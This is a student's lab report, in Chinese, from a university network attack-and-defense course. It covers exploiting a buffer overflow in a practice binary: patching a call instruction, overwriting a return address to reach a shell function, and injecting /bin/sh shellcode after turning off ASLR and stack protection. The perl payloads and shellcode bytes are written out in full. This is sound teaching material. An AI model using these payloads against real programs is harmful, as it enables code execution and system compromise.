20222404 2024-2025-1 《网络与系统攻防技术》实验一实验报告
姓名:张嘉月
学号:20222404
实验日期:2024/09/29 — 2024/10/09
实验名称:缓冲区溢出和shellcode
指导教师:王志强
一、实验内容
- 任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 任务三:注入一个自己制作的shellcode并运行这段shellcode。
- 周学习内容:缓冲区溢出的相关定义介绍(包括安全漏洞,缓冲区,缓冲区溢出等);介绍了缓冲区溢出漏洞的发展历史,和历史上一些经典攻击;对编译器和调试器的使用进行初步介绍,讲解了部分命令行;了解汇编指令和其对应的不同类型汇编语言的表示方法;学习函数调用过程和堆栈出入的详细操作。
更多实验原理标注在了实验过程中。
二、实验过程
(一)任务一:手工修改可执行文件,直接修改程序机器指令,改变程序执行流程
- 下载目标文件pwn1,修改为学号作为标记后,反汇编(objdump)查看具体的函数和机器指令。如图:
其中,第一列为内存地址,第二列为机器指令、第三列为对应的汇编语言
- 实验目的是直接跳转到getShell函数。重点关注以下代码(foo,getShell,main)
原理:
"call 8048491 "是指这条指令将调用位于地址8048491处的foo函数,即main函数调用foo,对应机器指令为“ e8 d7ffffff”。
e8为跳转的含义,按原本正常流程EIP存储为由80484b5下一步的80484ba,但因有e8,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。
d7ffffff是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491,也就是foo函数的第一行。
因此,我们想让它调用getShell,只要使80484ba+修改值为804847d(gstShell的第一行),即修改“d7ffffff”为,"getShell-80484ba"对应的补码。
所以修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
具体操作:
复制一个pwn2,进入vi内进行操作。
-
1.按ESC键
-
2.输入:%!xxd,将显示模式切换为16进制模式
-
3.查找要修改的内容
/e8 d7(注意空格)
-
4.修改d7为c3
-
5.保存并退出
-
6.反汇编pwn2文件,到80484b5处查找,会发现已经机器命令已经由d7改为c3,而汇编语言也显示“call getShell”,成功。
-
7.可知getShell函数提示符为#,运行pwn2,如图,说明成功调用。
(二)任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
-
- 反汇编查看程序,并进行分析。重点看getShell部分。
-
- 确认字符串可以覆盖的长度。进入gdb,输入“11111111222222223333333344444444555555556666666677777777”,使用info r进行查看。
注意eip行的值,为0x35353535。
- 确认字符串可以覆盖的长度。进入gdb,输入“11111111222222223333333344444444555555556666666677777777”,使用info r进行查看。
-
- 重新注入,这次输入“11111111222222223333333344444444555555556666666612345678”,同样适用info r进行查看。
这个时候eip的值变为了0x34333231。即可确定,最后1234四个数会覆盖到堆栈上的返回地址。只要把这四个字符的位置对应替换为 getShell 的内存地址,输给pwn,pwn就会运行getShell。
- 重新注入,这次输入“11111111222222223333333344444444555555556666666612345678”,同样适用info r进行查看。
-
- getShell的内存地址,通过反汇编时可以看到,即0804847d。不难发现,输入为1234,但真正覆盖时变为了0x34333231。可以推测字节顺序为\x7d\x84\x04\x08。
-
- 入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成一个包含这些16进制内容的文件(\x0a表示回车);
- 入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成一个包含这些16进制内容的文件(\x0a表示回车);
-
- 使用16进制查看指令xxd input查看input文件的内容,确认无误后使用(cat input;cat) | ./pwn20222404将input中的字符串作为可执行文件的输入。
- 使用16进制查看指令xxd input查看input文件的内容,确认无误后使用(cat input;cat) | ./pwn20222404将input中的字符串作为可执行文件的输入。
成功获取shell(11111111222222223333333344444444),即成功调用了getShell函数。BOF 注入攻击完成。
(三)任务三:注入一个自己制作的shellcode并运行这段shellcode。
-
- 输入以下代码调整状态。
execstack -s pwn3 //设置堆栈可执行
execstack -q pwn3 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
- 输入以下代码调整状态。
-
- 构造要使用的payload
原理:
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
在这种方法中,攻击者利用缓冲区溢出,将恶意代码(shellcode)注入到栈上的缓冲区中。然后,通过覆盖函数返回地址(retaddr),将执行流转移到缓冲区中的恶意代码。为了增加攻击的成功性,攻击者通常在恶意代码前面添加一系列无操作指令(nop)或者填充无关数据,以确保恶意代码的正确执行。
nop+shellcode+retaddr
在这种方法中,攻击者同样将恶意代码注入到栈上的缓冲区中,然后通过覆盖函数返回地址(retaddr),将执行流转移到缓冲区中的恶意代码。与第一种方法不同的是,攻击者将恶意代码放在缓冲区的开头,而不是结尾,紧接着是一系列无操作指令(nop)。这样做的目的是为了增加攻击的成功性,避免恶意代码被覆盖或截断。
- 构造要使用的payload
本次使用的结构为retaddr+nop+shellcode。使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入以下命令将input_shellcode的输入内容作为pwn3的输入:
(cat input_shellcode; cat) | ./pwn3
!!!注意,这里输入(cat input_shellcode; cat) | ./pwn3后,按一下enter,然后打开一个新终端。
-
- 输入ps -ef | grep pwn3,查看文件的进程以及进程号
这里第一个进程号"63189"对应于正在运行的名为"pwn3"的进程。第二个进程号"63436"对应于正在运行的名为"grep --color=auto pwn3"的进程,它是通过grep命令来查找包含字符串"pwn3"的进程。因此后续进程号按照“63189”来。
- 输入ps -ef | grep pwn3,查看文件的进程以及进程号
-
- 在新终端中使用gbd调试,输入命令attach 63189(刚刚查找的进程号);输入命令disassemble foo,反编译foo。
- 在新终端中使用gbd调试,输入命令attach 63189(刚刚查找的进程号);输入命令disassemble foo,反编译foo。
-
- 可以看到,ret的地址为0x080484ae,因此,在这里设置断点。输入命令break *0x080484ae
在新终端输入c(这个命令会继续执行程序,直到达到设置的断点),继续运行后,在老终端按一下enter键。
输入info r esp查看栈顶指针所在位置。这个命令用于查看当前栈顶指针(ESP)的值。栈顶指针指向栈的顶部,也就是最近插入栈的数据的位置。可知栈顶指针所在的位置为0xffffd3ec;
使用x/16x 0xffffcfdc命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,这说明找的就是这个地址。
- 可以看到,ret的地址为0x080484ae,因此,在这里设置断点。输入命令break *0x080484ae
因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffd3ec+4=0xffffd3f0
-
- 进行shellcode的注入,将0x04030201换成上述计算出来的位置0xffffd3f0,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入perl -e 'print "A" x 32;print "\xf0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然后再输入(cat input_shellcode; cat) | ./pwn3
成功!
- 进行shellcode的注入,将0x04030201换成上述计算出来的位置0xffffd3f0,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入perl -e 'print "A" x 32;print "\xf0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然后再输入(cat input_shellcode; cat) | ./pwn3
三、问题及解决方案
(一)部分汇编指令
- NOP(No Operation)指令的机器码是 0x90。
- JNE(Jump if Not Equal)指令的机器码是 0x75,后面跟着一个相对偏移量。例如,JNE 0x10 的机器码表示为 0x7510。它会根据标志寄存器中的条件跳转到指定的代码位置,如果不相等则跳转。
- JE(Jump if Equal)指令的机器码是 0x74,后面跟着一个相对偏移量。例如,JE 0x10 的机器码表示为 0x7410。它会根据标志寄存器中的条件跳转到指定的代码位置,如果相等则跳转。
- JMP(Unconditional Jump)指令的机器码是 0xE9,后面跟着一个相对偏移量。例如,JMP 0x10 的机器码表示为 0xE910。它无条件地跳转到指定的代码位置。
- CMP(Compare)指令的机器码取决于操作数的大小和类型。例如,CMP AX, 0x42 的机器码表示为 0x3D 0x42 0x00(假设 AX 寄存器的大小是 16 位)。它会将 AX 寄存器的值与给定的值进行比较,设置条件码标志。
(二)问题回顾
1.在任务一中,查找要修改的内容/e8d7,查找不到的。
解决方法:经过观察,我发现要查找的位置e8和d7不是相连的,而是f0e8 d7ff,所以试着进行/e8 d7查找,成功。
2.任务三中,老师所给事例有一个坑。
解决方法:可以发现区别在于两种攻击方式,nop+shellcode+retaddr中攻击者将恶意代码放在缓冲区的开头,而不是结尾。导致在栈顶与代码发生了冲突。所以当改变方式为anything+retaddr+nops+shellcode时就可行了。
4.任务三中,新老终端操作需要注意顺序。第一次输入(cat input_shellcode; cat) | ./pwn3后,按了两次enter,导致新终端中输入命令只出现了root 63436 63217 0 23:27 pts/1 00:00:00 grep --color=auto pwn3,从而导致实验无法正常进行。
解决方法:经查得知"63436"对应于正在运行的名为"grep --color=auto pwn3"的进程,它是通过grep命令来查找包含字符串"pwn3"的进程。而实验中需要用到的是pwn3运行的进程号。所以按了一次enter后打开新终端。
5.任务三中首先进行了两个操作,于是进行了缓冲区溢出保护的相关查阅。以下:
缓冲区溢出(Buffer Overflow,简称Bof攻击)攻击者试图将超过缓冲区边界的数据写入到内存中,以执行恶意代码或修改程序。对此有以下相关保护措施。
- 输入验证:对所有输入进行验证和过滤,确保输入数据的长度不会超出目标缓冲区的容量。
- 使用安全函数:使用安全的函数替换不安全的函数,如使用strncpy替代strcpy、使用snprintf替代sprintf等。
- 栈保护技术:例如使用栈保护/堆保护技术,如栈溢出保护(StackGuard)、装载预防(/GS)、堆栈保护(StackShield)等,以防止缓冲区溢出攻击。
- ASLR:地址空间布局随机化(Address Space Layout Randomization)通过随机化系统内存布局,使得攻击者更难确定关键数据和代码的位置。
- NX(No eXecute)位:使用硬件支持的内存保护功能,将数据区和堆栈标记为不可执行,以阻止攻击者在缓冲区溢出后执行恶意代码。
- 编码指令检测:例如使用数据执行防护(DEP)技术,禁止执行堆栈、数据或堆中的非执行指令。
- 内存检查工具:使用内存检查工具来检测程序运行时的内存访问错误,例如使用内存检测工具Valgrind。
- 安全编程实践:编写安全的代码,包括正确使用内存操作函数、正确的输入验证、避免使用不受信任的输入来进行内存操作等。
而本次实验中为了实现缓冲区攻击,便是关掉了其中的栈保护和地址随机化。
四、学习感悟、思考
本次实验我参考老师所给资料,积极与同学进行相关交流,理清了缓冲区攻击的思路,也第一次对机器码进行了操作,感觉很奇妙。
实验过程出现了不少插曲,比如做了一半发现忘改主机名,假期前做完了任务一二,回来后想做任务三却忘记了账号密码……于是上网搜索学习了如何重置密码,也算意外收获些新内容。总结就是虽然看起来困难很多、不了解的知识很多,但实际上只要动手去敲,去搜集信息,去汲取知识,就会发现其实问题没有那么复杂。结合课上所学自己消化理解会有收获。
以及当初看老师所提供的资料,那句“这是个坑”出来的时候真是眼前一黑……还好问题不算复杂,明白了就可以解决。不过参考中给的按排次向上试探寻找的方法感觉略有绕弯。参考同学的方式采用了栈顶指针,感觉很神奇。条条大路通罗马。